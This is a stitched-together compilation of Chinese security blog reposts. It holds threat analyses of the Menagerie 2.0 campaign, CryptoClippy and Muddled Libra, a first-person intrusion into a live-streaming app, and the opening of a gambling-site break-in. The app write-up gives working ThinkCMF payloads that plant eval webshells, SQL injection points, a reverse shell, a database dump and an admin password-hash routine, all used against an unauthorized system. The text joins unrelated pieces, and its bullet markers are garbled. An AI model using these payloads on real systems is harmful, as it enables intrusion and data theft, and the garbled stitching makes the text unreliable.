ONEPIECE字符串在編譯的web shell的DLL代碼中進行了硬編碼
在sh.exe中也可以找到x_best_911字符串,如下圖所示。

sh.exe中硬編碼的x_best_911字符串
在執行上述RID Hijack工具時生成的密碼包含xman字符串。這個字符串也可以在sh.exe中找到,如下圖所示,這表明了在最近的活動中看到的新工具之前也在Menagerie活動中出現過。

xman字符串在sh.exe中是硬編碼的
LPE工具集如上所述,一旦IIS服務器訪問web shell,就會動態編譯. net DLL並將其放置在臨時目錄中。如下圖所示,一個編譯過的DLL web shell文件是App_Web_xvuga1zl.dll。攻擊者與web shell建立的連接導致了另一次遠程執行多個LPE公開可用工具的嘗試,正如在與此活動相關的攻擊的許多階段所看到的那樣。
正如攻擊者之前所做的那樣,他們還使用了幾個權限升級工具。在一個示例中,為避免被阻止,每次執行之間只有幾分鐘的間隔:
JuicyPotato;
PrintSpoofer;
JuicyPotatoNG;
EfsPotato;
PetitPotam(法語“小河馬”)。

由Cortex XDR檢測和阻止的多個本地權限升級工具
MyComEop當研究人員分析了從Menagerie 2.0攻擊目標組織中恢復的幾個加載程序時,另一個發現引起了他們的注意。這些加載程序包括x和x.tmp文件的硬編碼字符串。當在調試器中執行這些加載程序時,它們成功地解密了它們的有效負載,揭示了另一個PoC LPE工具和後門,具有獨特的PDB路徑:
E:\git\MyComEopPower\MyComEopPipe\Build\Quantum.pdb;
E:\git\MyComEopPower\MyComEopPipe\Build\MyComEop.pdb;
在VirusTotal中搜索PDB路徑時,研究人員從另外兩個變體中發現了更顯著的元數據,如下圖所示。

從共享相同PDB路徑的另一個變體檢索的文件元數據
經過進一步研究,研究人員發現這是另一種很少見到的權限升級工具和後門,如下圖所示。

所述工具的硬編碼路徑

所述工具的後門日誌
新的攻擊在2023年4月,在監控與Menagerie 2.0相關的活動時,攻擊者部署了新修改的工具,並通過先前部署的web shell訪問受攻擊的環境,發現除了部署舊工具,還有更新的工具(如au.exe)。
攻擊者還通過執行net命令搜索iis_user是否存在。然後他們開始在%programdata%\x路徑中部署修改過的工具,這也是熟悉的攻擊套路。
他們部署的工具之一是GodPotato,如下圖所示,它是已知的LPE家族的另一個變體。這個工具也是公開可用的。

GodPotato工具截圖
研究人員觀察到的另一個工具是另一個自定義後門,如下圖所示。通過查看其PDB路徑D:\project\後門類\dllnc\exenc\x64\Release\exenc.pdb,它似乎是前面提到的DLLNC工具的一個新變體。這種變體側重於後門功能,而不是主要充當下載程序。

新後門的主要方法
總結“Menagerie2.0”活動針對網絡託管和IT公司已有兩年多的時間。研究人員認為這次活動是由之前的'Menagerie'活動演變而來的。這次攻擊的主要目標是濫用受攻擊的web服務器的資源以獲取經濟利益。正如ACSC之前報導的那樣,攻擊者在Menagerie 2.0中部署了多個挖礦程序。調查還顯示,隨著時間的推移,攻擊者擴大了他們的武器庫,並改進了他們的https來劫持合法網站。他們通過在受攻擊的大規模部署web shell,然後將其用作C2服務器。
HireHackking
Unit 42最近發現了一個針對葡語用戶的惡意軟件活動,旨在將加密貨幣從合法用戶的錢包中轉移到由攻擊者控制的錢包中,該活動使用了一種被稱為CryptoClippy(加密貨幣剪輯器)的惡意軟件,它可以監控受害者的剪貼板,尋找加密貨幣錢包地址被複製的踪跡,以此來發起攻擊並竊取加密貨幣。
攻擊時,CryptoClippy會將實際錢包地址替換為攻擊者自己的地址。為了將惡意軟件植入到用戶的計算機,該活動中的攻擊者使用谷歌廣告和流量分發系統(TDS)將受害者重定向到假冒WhatsApp Web應用程序的惡意域名。他們藉此來確保受害者是真正的用戶,而且他們是葡語使用者。對於被發送到惡意域的用戶,攻擊者試圖誘騙他們下載惡意文件,包括.zip或.exe文件,從而獲得最終的有效負載。
什麼是加密貨幣剪輯器? CryptoClippy旨在將加密貨幣資金從合法用戶的錢包轉移到由攻擊者控制的錢包。當計算機CryptoClippy時,惡意軟件會不斷檢查受害者的剪貼板,看看他們是否複製了加密貨幣錢包地址,其攻擊邏輯是,如果一個人將錢包地址複製到剪貼板,這表明他們可能正在將加密貨幣從一個錢包轉移到另一個錢包。
CryptoClippy使用正則表達式來識別地址屬於哪種類型的加密貨幣。然後,它將剪貼板條目替換為攻擊者的錢包地址。由於錢包地址通常很長,有時超過40個字符,粗心的用戶是不會注意到地址的變化。
CryptoClippy利用的是SEO攻擊,因此當一個人搜索“WhatsApp Web”時,搜索結果的前幾天就會顯示一個虛假結果。一旦進入該網頁,受害者就會被提示下載一個.zip文件,該文件包含一個由惡意腳本組成的.lnk文件。這些腳本引發了一系列安裝CryptoClippy的事件。各種CryptoClippy變體具有多種額外功能,可以幫助攻擊者完成他們的加密竊取活動。這包括能夠通過執行RC4加密的PowerShell腳本來建立遠程桌面協議(RDP)後門。
此腳本包含Windows Management Instrumentation(WMI)、終端服務註冊表操作、icacls、net命令和日誌清除的元素。這些漏洞使攻擊者能夠在內存有效負載之外進行訪問。
此外,該變體還具有針對以太坊和比特幣加密貨幣錢包的功能。鑑於數字貨幣在拉丁美洲越來越受歡迎,這並不奇怪。
撰寫本文時,攻擊者控制的比特幣地址顯示收到0.039954比特幣,大致相當於982.83美元,以太坊(ETH)地址也顯示了收到資金,其中0.110915556631181819 ETH(約等於186.32美元)是從三個不同的ETH地址發送的。
此活動中的攻擊者採用了多階段的方法,試圖繞過基於簽名和啟發式的安全防護。這種方法包括使用模糊化的PowerShell腳本和編碼的有效負載來逃避檢測,目前似乎只有少數安全程序可以在VirusTotal中檢測到這種惡意軟件。
攻擊流程攻擊會從傳播一個.zip文件開始,該文件包含一個模糊化的PowerShell命令行腳本組成的.lnk文件。受害者雙擊.lnk文件後,就會執行PowerShell腳本,該腳本將下載第二階段和幾個模糊/加密的有效負載。當執行第二階段PowerShell腳本時,它會對CryptoClippy加載程序進行解混淆/解密並執行它。然後加載程序會將其竊取程序組件注入svchost.exe中。
CryptoClippy將在剪貼板API中設置基於用戶模式事件的掛鉤和回調函數,在將受害者的以太坊/比特幣加密錢包複製到剪貼板時,將其替換為攻擊者的加密錢包。它還包含與C2服務器通信的功能。
CryptoClippy攻擊流程如下所示:

通過LNK文件攻擊
受害者最初下載的.zip文件中的.lnk文件包含一個截取的命令,如下圖所示。雙擊該文件將執行一個模糊命令,該命令位於快捷方式的目標字段中,負責檢查攻擊者控制的域。

LNK文件的目標字段包含要運行的命令
.lnk文件使用了幾種不同的字符填充方法進行混淆,其中包括以下字符集:
^
!
:~下圖顯示瞭如何在.lnk文件中使用這種方法。

LNK字符混淆
反混淆後,LNK得到以下PowerShell命令,該命令將通過HTTP協議將字符串uiPX上傳到攻擊者控制的域tunneldrive[.]com。

PowerShell命令將字符串上載到攻擊者域
需要注意的是,在目前觀察到的示例中,攻擊流程可以追溯到擴展名為.lnk的文件。這些文件通常包含在.zip中。然而在分析中,研究人員觀察到另一種變化,其中初始有效負載是一個.exe文件,該文件出自前面提到的域mydigitalreversion[.]com。
當WhatsApp Web的.exe文件一旦執行,它就會聯繫前面提到的tunneldrive[.]com域。然後,它將釋放並執行一個.bat文件來自我刪除。
這個.bat文件(如下圖所示)使用了一種模糊處理來構建其有效負載。

BAT文件在第一階段被釋放
第一階段第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密同樣位於C:\Users\\AppData\Roaming\Ricoly中釋放的第二階段模糊/加密腳本ps。
Ricoly.ps1腳本使用的XOR密鑰大部分是靜態設置的硬編碼,而XOR密鑰的一部分是從計算機的處理器ID動態派生的。這將鎖定有效負載,如下圖所示。

第二階段研究人員使用以下CyberChef XOR秘鑰來解密第二階段的有效負載:


CyberChef用於解碼第二階段PowerShell腳本文件ps的內容
在第一階段下載時,會將名為sc的加密EXE文件寫入文件系統。這個EXE文件將成為第二階段ps腳本的目標。
第二階段PowerShell腳本ps的功能是充當反射PE加載程序。它使用.NET方法和D/invoke來處理.NET委託,以逃避檢測和動態解析。
ps腳本將確定操作系統是32位還是64位。它還將確定kernel32.dll作為反射加載程序所需的API功能,通過使用GetDelegateForFunctionPointer解析所需的API(如VirtualAlloc和CreateThread)來實現這一點。
然後,ps腳本將對有效負載進行XOR解密,並調用EXE文件sc。

使用D/invoke方法和XOR操作的第二階段PowerShell腳本
反射加載到內存中的EXE文件sc充當主加載程序,使用系統調用將代碼注入另一個新創建的進程。新創建的svchost.exe進程包含CryptoClippy。
文件夾名稱和互斥字符串生成器竊取程序的前幾個函數將首先映射出文件系統,以創建要使用的文件夾。這是通過使用API GetWindowsDirectoryA、GetVolumeInformationA和SHGetFolderPathA來實現的。
竊取程序包含一個函數,它將創建字母數字字符串。此字符串生成器用於主程序中的多個位置。它首先用於在AppData路徑下創建一個唯一的文件夾名稱。為此,使用一個常量值作為字符串生成器的參數。
在本示例中,常量是0x79FE6D,它將在字符串生成器函數中使用,並映射到格式字符串%08x-%08x。

常量引用和函數字母數字生成器的xref
字符串生成函數將使用提供給函數的常數值和從受害者係統查詢的捲序列號。它將創建以下字符串作為示例:079fe6d-de786dd1。

常量值和卷序列號連接成格式字符串
該算法將按每個字符拆分,以此來打亂字符串079fe6d-de786dd1。第一個操作將是由字符串的第一個字符執行的對FFFFFFFF值的異或。
然後,所得到的運算將被右移1,並被常數0x82F63B78異或。結果異或操作將遵循相同的操作集,在16個字符示例字符串079fe6d-de786dd1中,每個字符總共執行8次。
算法完成後,返回要添加到AppData目錄的文件夾名稱。本例中的文件夾名稱為55abf82d,完整路徑為C:\Users\xxx\AppData\Roaming\55abf82d。這將根據作為輸入提供的常量和卷序列號而變化,以創建唯一的字母加數字字符串。

使用的算法的結果,即要創建的文件夾名稱
互斥鎖攻擊者的互斥鎖的創建也使用字符串生成器函數,該函數作為參數提供了一個不同的常量值。在本例中,值為0x24F2D5。

用於創建帶有捲序列號的互斥鎖的常量值
用戶模式事件掛鉤設置為了便於竊取者剪切剪貼板的加密錢包地址,並將其替換為二進製文件中包含的硬編碼錢包,它將首先調用API SetWinEventHook來設置事件掛鉤,以便在觸發特定事件時調用負責與剪貼板數據交互的函數。
EVENT_OBJECT_FOCUS
EVENT_OBJECT_VALUECHANGE
EVENT_SYSTEM_FOREGROUND
事件掛鉤設置將具有一個從所有進程以及所有現有線程接收事件的進程範圍,然後跳過連接負責創建掛鉤的所屬進程。在設置事件掛鉤之後,創建一個Windows事件對象。它通過調用用於同步的Windows API CreateEventA來實現這一點,當特定事件發生並完成時,它將向線程發出信號。

windows事件鉤子和註冊類的反編譯視圖
創建Windows對象事件之後,竊取程序將使用API RegisterClassExA。此API提供了一個指向WNDCLASSEX結構的指針,該結構包含wcbClass和各種結構字段。
在此之後,調用CreateWindowExA,它將創建一個具有前面API所指向的結構的窗口。在這個結構中,我們分析的重要字段是lpfnWndProc字段,它指向惡意軟件開發者的剪貼板函數。
後門在CryptoClippy執行期間,此威脅將解密並寫入文件Tozzia.bat和Tozzia.ps1到文件系統,這些文件系統嵌入到文件系統中。執行批處理文件Tozzia.bat,然後執行Tozzia.ps1。

Tozzia.bat文件內容
下圖顯示了Tozzia.ps1被寫入文件系統並執行,從而進行持久性攻擊。

Tozzia.ps1內容
下圖顯示了Tozzia.ps1通過創建計劃任務來獲得持久性。

執行Tozzia.bat的計劃任務
在Tozzia腳本解密後,另外兩個腳本Giddia和Knowledgeprojects也被解密,但沒有被執行或寫入文件系統。從內存中提取Giddia和Knowledgeprojects這兩個腳本,可以看到幾百行額外的腳本代碼。
Giddia腳本包含執行與終端服務相關的註冊表屬性值的功能,目的是削弱它們。它還包含網絡命令和本地帳戶相關操作的功能。

PowerShell腳本名Giddia

Giddia功能

名為Knowledgeprojects的PowerShell腳本
Knowledgeprojects腳本包含使用PowerShell清除日誌的功能。

通過惡意廣告(Malvertising)傳播
研究人員觀察到這種利用谷歌廣告和TDS的惡意軟件活動。當用戶搜索“WhatsApp網絡”時,攻擊者使用了出現在搜索結果中的谷歌搜索廣告。這使他們能夠誘騙受害者打開並下載他們的惡意壓縮.zip文件。在2022年初收到這一攻擊的警報後,谷歌實施了額外的保護措施,並表示,其係統在檢測和防止再次攻擊方面有所改進。
此外,攻擊者使用TDS過濾惡意登錄頁面上的真正用戶和機器人。 TDS過濾器通過使用各種標準來確定客戶端設備是否是真實用戶以及葡語使用者,從而排除機器人和互聯網爬蟲。
首先,TDS檢查連接設備是否來自虛擬專用網絡(VPN)IP地址。使用VPN會使攻擊者難以確定受害者設備的位置和特徵,也會使其更難傳播惡意內容。
接下來,TDS進行用戶代理檢查。用戶代理是網絡瀏覽器發送到網站以識別其自身及其功能的文本字符串。通過檢查客戶端設備的用戶代理,TDS通過檢查接受語言(Accept-Language)標頭來確定首選瀏覽器語言是否為葡語。 TDS還可以檢查其他信息,如設備類型、操作系統、瀏覽器版本和地理位置。
最後,TDS遵循超文本傳輸協議(HTTP)GET標頭標準。 HTTP GET標頭是由web瀏覽器發送到服務器以檢索資源的請求消息。標頭可以包含各種信息,例如請求的URL、用戶代理、Accept-Language標頭和referer標頭。檢查HTTP GET標頭中的條件是TDS確定瀏覽器的首選語言是否為葡語的另一種方法。
如果TDS確定連接不符合上述標準,受害者將被重定向到另一個登錄頁(如下圖所示),並被提示點擊“繼續到WhatsApp Web”。這將重定向到合法的WhatsApp Web域,而不會有任何進一步的惡意活動,有效地逃避了受害者和安全軟件的檢測。
惡意域名的內容但是,如果TDS確定該連接滿足上述條件,受害者將被重定向到惡意登錄頁面,並提示他們下載惡意的.zip文件
受害者的瀏覽歷史這個網站偽裝成WhatsApp的官方網站,提供WhatsApp桌面。從mydigitalrevival[.]com下載此文件就會下載所謂的WhatsApp.zip。
mydigitalrevival[.]com網站研究人員發現的屬於本次活動的其他域名還有preflightdesign[.]com和pickconferences[.]com,它們的葡語版本也有同樣的內容。
當受害者成功加載惡意網頁並下載所提供的.zip文件時,其中包含一個.lnk文件,如下圖所示。
初始ZIP文件中包含LNK文件在執行.lnk文件後,研究人員觀察到下載到C:\Users\\AppData\Roaming\Ricoly中的以下文件:
Ricoly.bat;
Ricoly.ps1;
兩個混淆的加密文件(ps,sc);
一個混淆的加密輔助配置文件(pf);
第一個PowerShell腳本加載程序Ricoly.ps1由Ricoly.bat批處理文件啟動並執行。 Ricoly.ps1腳本的目的是解密第二階段的模糊化/加密的腳本ps。
第二階段PowerShell腳本ps的功能是充當反射PE載入程序。 ps文件將以寫入文件系統的名為sc的加密EXE文件為目標。 sc文件是反射加載的,最終用作CryptoClippy的載入程序。
主要可執行文件在執行.lnk文件和兩個後續的PowerShell腳本之後,CryptoClippy操作由一個可執行載入程序和主要可執行文件組成。 CryptoClippy的載入程序是一個64位的EXE文件,其中主竊取程序EXE文件嵌入在.data部分中。載入程序使用系統調用,在執行時似乎與SysWhispers2實現重疊。
SysWhispers2是一個更隱蔽的代碼執行實現,用於繞過對用戶模式API的檢查。這種繞過是可能的,因為用戶模式API通常由應用程序使用,包括AV/EDR產品通過用戶模式掛鉤進行內省。
CryptoClippy的主要可執行文件是用C編寫的,它是用傳輸層安全性(TLS)庫Mbed-TLS靜態編譯的。可執行文件的主要功能包括它自己的名稱生成算法即文件路徑、互斥對象和事件對象。主可執行文件還廣泛使用了一個名為pf的本地輔助文件,該文件包含一個加密的證書。 CryptoClippy使用它自己的算法從輔助文件中消除字符查找表的混淆,從而從查找表中指向值的指針構建明文證書。
該威脅還使用兩個不同的RC4密鑰進行各種字符串解密。字符串解密例程將使用內存中內置的結構,用於結構中的索引位置、字符串偏移量和字符串大小。這些字符串與對象名稱、域、加密錢包和持久性腳本有關。
RC4Key:1b43233d5a054808061c190336320e46
RC4Key:4646070B47445451604F291809444703竊取加密貨幣
HireHackking
2022年底,隨著0ktapus網絡釣魚工具包的發布,Muddled Libra正式出現在公眾視野,該工具包提供了預構建的託管框架和捆綁模板,利用大量用虛假身份驗證的真實門戶進行有針對性的攻擊,攻擊者能夠快速收集憑據和多因素身份驗證MFA代碼。如今0ktapus框架已被商品化,即使是攻擊新手也能獲得很高的成功率。 0ktapus框架功能包括預構建的模板和通過Telegram內置的C2頻道,成本只需幾百美元。
這個工具包所攻擊的目標的數量之多,以至於給攻擊歸屬造成了很多困惑。 Group IB、CrowdStrike和Okta之前的報告已經記錄並將其中許多攻擊映射到以下組織:0ktapus、Scattered Spider和Scatterd Swine。以上三個名字很可能是一個組織,也很可能是使用同一個工具包的三個組織。 Muddled Libra就是其中的一個組織。
Unit 42發現Muddled Libra攻擊時具有以下特點:
马云惹不起马云使用0ktapus網絡釣魚工具包;
马云惹不起马云持續攻擊;
马云惹不起马云非破壞性存在;
马云惹不起马云持續瞄準業務流程外包(BPO)行業;
马云惹不起马云數據被盜;
马云惹不起马云 在下游攻擊中使用受攻擊的基礎設施;
調查表明Muddled Libra使用了一個異常龐大的攻擊工具包,包括社會工程、滲透測試和取證工具,其功能要強於強大的網絡防禦能力。
在Unit 42調查的事件中,Muddled Libra在攻擊目標選擇上非常有針對性,進攻策略也非常靈活。當一個攻擊方法被阻斷時,他們要么迅速轉向另一個方法,要么轉化攻擊環境重新開始攻擊。
Muddled Libra也對現代事件響應(IR)框架有著深刻理解,這使他們能夠不斷修改攻擊策略從而實現攻擊目的。
Muddled Libra更傾向於使用被盜數據來對受害者發起攻擊,如果允許,他們會反复刷新被盜數據集。使用這些被盜數據,即使在最初的事件響應之後,攻擊者也有能力回到以前的受害者那裡。這證明了攻擊者即使在被發現後仍具有持續攻擊能力。
此外,Muddled Libra似乎對他們的攻擊行為有明確的預期和路徑設計,而不僅僅是投機取巧那麼簡單。他們在發動攻擊時,會迅速尋找並竊取了下游客戶端環境中的信息,然後利用這些信息進入到攻擊環境中。他們對高價值客戶以及對後續攻擊最有用的信息有著1前瞻性判斷。
攻擊鏈雖然每一起事件都是獨一無二的,但Unit 42的研究人員已經確定了戰術、技術和程序(TTP)方面的很過共性,可以將多起事件歸因於Muddled Libra。

攻擊鏈
偵察階段Muddled Libra對目標組織有著非常細緻的了解,包括員工名單、職務和手機號碼。在某些情況下,這些數據可能是在早期針對上游目標的攻擊行為中獲得的。
攻擊者還經常從非法數據代理那裡獲取信息包,例如現已倒閉的Genesis和Russian Markets。這些數據通常是從受感染的設備上收集的,包括企業和個人設備,使用的是像RedLine stealer這樣的惡意軟件。
隨著自帶設備(BYOD)政策的早期出現,以及混合工作解決方案的流行,公司數據和憑據被頻繁使用並緩存在個人設備上。分散IT資產的管理和保護為信息竊取惡意軟件創造了一個有利可圖的攻擊機會。
資源開發使用相似域名發起攻擊是Muddled Libra的經典標誌。這種策略是有效的,因為移動設備經常截斷SMS消息中的鏈接。
歸因於0ktapus活動的早期攻擊組織一直使用通過Porkbun或Namecheap註冊並託管在Digital Ocean(一家成立於2012年的總部設置在紐約的雲主機商家,採用KVM虛擬)基礎設施上的域名,這些域往往是短暫的,只在最初的訪問階段使用,然後很快被刪除。
Unit 42注意到攻擊者使用ktapus網絡釣魚工具包來獲取憑證。 Group-IB詳細記錄了這種多用途的工具,在地下組織中廣泛使用。它幾乎不需要什麼技能就可以安裝和配置,這使它成為高度針對性的欺騙攻擊的理想工具。
初始訪問在Unit 42可以確定初始訪問方法的所有事件中,都涉及詐騙或社會工程。在大多數事件中,攻擊者直接向目標員工的手機發送引誘信息,聲稱他們需要更新賬戶信息或重新驗證公司應用程序。消息中包含一個指向偽造公司域的鏈接,該域旨在模仿熟悉的登錄頁面。
持久性MuddledLibra特別專注於維護對目標環境的訪問。雖然攻擊者在攻擊期間使用免費或演示版的遠程監控和管理(RMM)工具是很常見的,但Muddled Libra通常安裝了六個或更多這樣的實用程序。他們這樣做是為了確保即使有一個被發現,他們也能保留一個進入環境的後門。
使用商業RMM工具尤其需要注意,因為這些工具是Muddled Libra正在濫用的合法程序。他們可以合法地出現在組織內,防御者應該權衡是完全阻止還是仔細監控他們。觀察到的工具包括Zoho Assist、AnyDesk、Splashtop、TeamViewer、ITarian、FleetDeck、ASG Remote Desktop、RustDesk和ManageEngine RMM。
這些工具本身都不是惡意的,並且經常用於許多企業網絡的日常管理。 Unit 42建議組織通過簽名者阻止任何不允許在企業內使用的RMM工具。
防禦規避Muddled Libra對各種安全控制及其熟悉,完美地避開了常見的防禦。
具體行為包括:
马云惹不起马云禁用防病毒和基於主機的防火牆;
马云惹不起马云試圖刪除防火牆配置文件;
马云惹不起马云繞過防御者;
马云惹不起马云停用或卸載EDR和其他監控產品;
攻擊者還重新啟用並使用了現有的Active Directory帳戶,以避免觸發公共安全信息和事件管理(SIEM)監控規則。他們還被觀察到在終端檢測和響應(EDR)管理控制台內操作以清除警報。
Muddled Libra在攻擊活動中很謹慎,一直使用商業虛擬專用網絡(VPN)服務來隱藏其地理位置,並試圖融入合法流量。在Unit 42研究人員調查的大多數事件中,Mullvad VPN是首選,但也觀察到許多其他供應商,如ExpressVPN、NordVPN、Ultrasurf、Easy VPN和ZenMate。
Unit 42的研究人員還觀察到了輪流使用住宅代理服務的情況。正如Brian Krebs在2021年報導的那樣,住宅代理服務通常將其代碼隱藏在瀏覽器擴展中,允許運營商將住宅連接出租給合法和惡意攻擊者。
憑據訪問一旦捕獲了用於初始訪問的憑據,攻擊者就會選擇其中一條路徑。在第一種情況下,他們繼續從他們控制的計算機進行身份驗證,並立即請求多因素身份驗證(MFA)代碼。在另一種情況下,他們隨後生成了一系列MFA提示,直到用戶接受其中一個,這種方法也稱為MFA轟炸。
在MFA轟炸失敗的情況下,攻擊者就會聯繫該組織的求助台,聲稱自己是受害者。然後謊稱他們的手機無法操作或放錯地方,並要求註冊一個新的、由攻擊者控制的MFA身份驗證設備。
Muddled Libra在社會工程方面的成功是值得注意的。在許多示例中,該組織通過電話與服務台和其他員工交流,實施攻擊活動。
在建立了立足點後,Muddled Libra迅速採取行動,提升訪問權限。本階段使用的標準憑證竊取工具包括Mimikatz、ProcDump、DCSync、Raccoon Stealer和LAPSToolkit。當該組織無法快速確定提升的憑據時,他們就會使用Impacket、MIT Kerberos Ticket Manager和NTLM編碼器/解碼器。
在一些事件中,Muddled Libra採取了不同尋常的步驟,使用專門的工具,使用MAGNET RAM Capture和Volatility直接搜索內存內容以查找憑據。由於這些都是Muddled Libra正在濫用的合法取證工具,防御者應該仔細考慮阻止它們的不利因素,包括安全團隊活動產生誤報警報的可能性。
這給防御者提出了一個挑戰,儘管用戶帳戶可能通過特權訪問管理受到保護,但終端通常具有緩存用於系統管理或運行服務的提升憑據。應注意確保特權憑據僅具有執行其預期功能所需的權限,並密切監控其是否偏離正常行為。
發現過程muddle Libra的發現方法在不同的示例中是一致的。在調查中,該組織使用了知名的合法滲透測試工具來繪製環境並確定感興趣的目標。他們的工具包包括SharpHound, ADRecon, AD Explorer, Angry IP Scanner, Angry Port Scanner和CIMplant。
事實證明,Muddled Libra還精通商業系統管理工具,如用於發現和自動化的ManageEngine、LANDESK和PDQ Inventory,虛擬環境中使用的VMware PowerCLI和RVTools。
防御者應警惕未經批准的網絡掃描和對多個系統的異常快速訪問或跨邏輯業務部門的訪問。
執行過程調查發現,Muddled Libra似乎主要對數據和憑據盜竊感興趣,我們很少看到遠程執行。當需要時,該組織使用Sysinternals PsExec或Impacket完成執行。捕獲的憑據或身份驗證哈希用於權限提升。
橫向活動對於橫向活動,Muddled Libra更喜歡使用來自受攻擊設備的遠程桌面協議(RDP)。這種方法有助於最大限度地減少日誌中可發現的外部網絡構件,這些構件可以提醒防御者並幫助調查人員進行追踪。
尋找目標數據Muddled Libra似乎非常了解企業數據管理。他們成功地在受害者設備上的各種常見數據存儲庫中找到敏感數據,包括結構化和非結構化數據存儲庫,比如:
马云惹不起马云Confluence;
马云惹不起马云Git;
马云惹不起马云Elastic;
马云惹不起马云Microsoft Office 365 suite (e.g. SharePoint, Outlook);
马云惹不起马云Internal messaging platforms;
他們還從Zendesk和Jira等常見服務台應用程序中查找受害者環境中的數據。挖掘的數據包括進一步洩露的憑據,它們直接針對敏感和機密信息。
Unit 42的研究人員還觀察到了開源數據挖掘工具Snafler和本地工具在註冊中心、本地驅動器和網絡共享中搜索*password*和securestring等關鍵詞的情況。然後,使用WinRAR或PeaZip對洩露的數據進行分級和存檔。
防御者應定期在自己的環境中執行關鍵字搜索,以識別不正確存儲的數據和憑證。
盜取數據在一些情況下,Muddled Libra試圖建立反向代理shell或secure shell(SSH)隧道,用於命令和控製或盜取。 Muddled Libra還使用了常見的文件傳輸網站,如put[.]io、transfer[.]sh、wasabi[.]com或gofile[.]io來盜取數據,研究人員還觀察到Cyberduck作為文件傳輸代理。
緩解措施Muddled Libra是一個攻擊能力非常強的惡意軟件,對軟件自動化、業務流程外包、電信和技術行業的組織構成了巨大威脅。他們精通一系列安全規範,能夠在相對安全的環境中迅速執行以完成毀滅性的攻擊。
Muddled Libra並沒有任何技術上的創新,只是把目前已有的技術疊加在一起從而產生了很強的攻擊力。
建議組織:1.盡可能實現MFA和單點登錄(SSO),最好是快速身份在線(FIDO)。在我們調查的示例中,Muddled Libra最成功的是說服攻擊目標幫助他們繞過MFA。當他們無法做到這一點時,他們就會更換其他目標。
2.防御者還應考慮如何在多次MFA故障時最好地實施安全警報和帳戶鎖定。
3.實施員工安全意識培訓。 Muddled Libra通過電話和短信大力實施社會工程,包括通過電話和短信幫助台。
4.在發生攻擊的情況下,假設這個攻擊者知道現代IR戰術,考慮建立帶外響應機制。
5.確保證書是最新的,只在必要的時候和時間內授予訪問權限。
6.監控和管理對關鍵防禦和控制的訪問對於防禦熟練攻擊者至關重要。權利應僅限於每個工作職能所必需的內容。應使用Cortex XDR和Cortex XSIAM等身份威脅檢測和響應(ITDR)工具來監測異常行為。
7.防御者應該限制允許連接到網絡的匿名服務,最好是在防火牆上通過App-ID。
HireHackking

记一次对某色X直播APP的渗透

在一个风和日丽的晚上,正兴奋逛Twitter的我,忽然发现下面推荐关注有这么一个xxxx视频的名片。

这这这这,我可是正经人,不知道Twitter为啥会给我推送这些。这必须盘他,打开推广链接,辣眼睛,下载该app。

这app一打开就给人一股熟悉的味道,一看感觉很有可能是tp二开的。

注册手机号fiddler抓包改包,其实内容更辣眼睛


抓包获取url发现这不就是thinkcmf吗?满脸淫笑的想这还不拿下,前台那么多rce,就算有狗也能秒之,然而很快被现实打脸。
命令执行POC:
payload1:
/index.php?g=api&m=Oauth&a=fetch&content=<php>file_put_contents('pass.php','<?php @eval($_POST[1]); ?>')</php>
payload2:
/?a=fetch&;templateFile=public/index&prefix=''&content=<php>file_put_contents('pass.php','<?php  @eval($_POST[1]); ?>')</php>


payload3:
?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E然后任意文件读取:
/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log最后在目录下会生成一个m.php一句话木马文件,当然也可以写成其他的payload。

一顿操作猛如虎,一看文件404,难道就要凉凉了?

不怕,另外该APP,还有SQL注入:
注入点1:
/index.php?g=Appapi&m=Video&videoid=1
注入点2:
/index.php?g=Appapi&m=Auth&a=index&uid=128889&token=b69cda34dff2fa978a94b5583e7f5c9a

注入也凉凉,看来我这是要我掏出0day的节奏?算了还是忍忍吧。经过一番鼓捣研究,细节就不贴了,此处省略千字。说多了都是泪........
最后终于出了phpinfo,版本7.2以上
payload:
/?a=fetch&content=<?=phpinfo();exit();这不离shell更近一步了,然后看disable_functions禁用这么求多。

这里尝试了使用assert函数写入,以为成了,结果还是返回1

@assert函数不行,这里就可以尝试读取文件file_get_contents,读取数据库配置文件


在继续读取config.php文件时,突然想起之前下载app的时候是放在阿里云oss里面的,按理说他的配置文件里面应该有阿里云key和id,但现实终究是那么残酷,连aliyun这几个字母都没看到。

读取一些配置文件没有东西,数据库和redis不可外连,于是就准备写个shell上去在仔细翻下,尝试用file_put_contents读取文件。



好像不行,难道是参数问题,file_get_contents都能读任意文件,或者是目录不可写?尝试写在/tmp/1.txt也是同样的报错,想到php还要其他写文件的函数,于是w3school翻了下

写入123到i.txt,成功写入文件



尝试写入php一句话,提示模板不存在,该怎么办?眼看shell到手了。仔细看fwrite参数 ,w+是打开写入,r+是追加,难道我要一个字符一个字符写入?没错,就是要一个字符一个字符写入。?a=fetch&content=%3C?=@$fp=fopen(%221.php%22,%27a+%27);%20fwrite($fp,%27<%27);exit();



最终可getshell


绕过命令执行,反弹shell

然后打包+脱裤
mysqldump -h127.0.0.1 -uxxxx -pxxxx xxx >xxx.sqltar -cvf 1.tar /www/wwwroot/xxx/
以为这就完了 ?no,看了端口链接以及登陆ip还有搞头,后续待我钓到管理员pc,出续集,另外cmf密码默认加密
<?php
function setPass($pass)
{        
    $authcode = 'rCt52pF2cnnKNB3Hkp';
    $pass = "###" . md5(md5($authcode . $pass));
    return $pass;
}
echo setPass('123456')
?>
进后台的话,明文加密替管理员密文,或者加密明文去撞。


转载于原文链接: https://mp.weixin.qq.com/s/1gI8LC_FBFWG_ar3j1dZJw

HireHackking

记一次渗透非法菠菜站点过程的记录

一、 起因
近年来国内发生各种非法菠菜赌博案例非常之多,本次我就来讲解一下我是如何渗透下一个非法菠菜的网站的。本次渗透纯粹是运气+站长疏忽,可谓是千年堤坝毁于蚂巢之说。为了保证读者的理解,特采用入侵者的身份来纪实!
二、踩点及收集信息
打开目标站,发现是一个菠菜网站,然后开始收集信息了

域名的whois信息查询得知域名来自西部数码
这里我使用站长之家的ping工具是为了看有没有使用CDN及查询服务器机房位置。从whois结果得知使用的是dnspod的dns,但是有过经历的都是知道,一般的大型的IDC厂商,都是有自己的dns,代理才会使用dnspod 很明显,这个域名在代理上注册的,本来准备社工域名,但是没什么意义,别人解析回来了还是一样的使用,之前F4ther写过一篇文章是说做了个蜜罐钓鱼劫持了安全脉搏。但是太麻烦,还是直接略过,直接渗透吧。

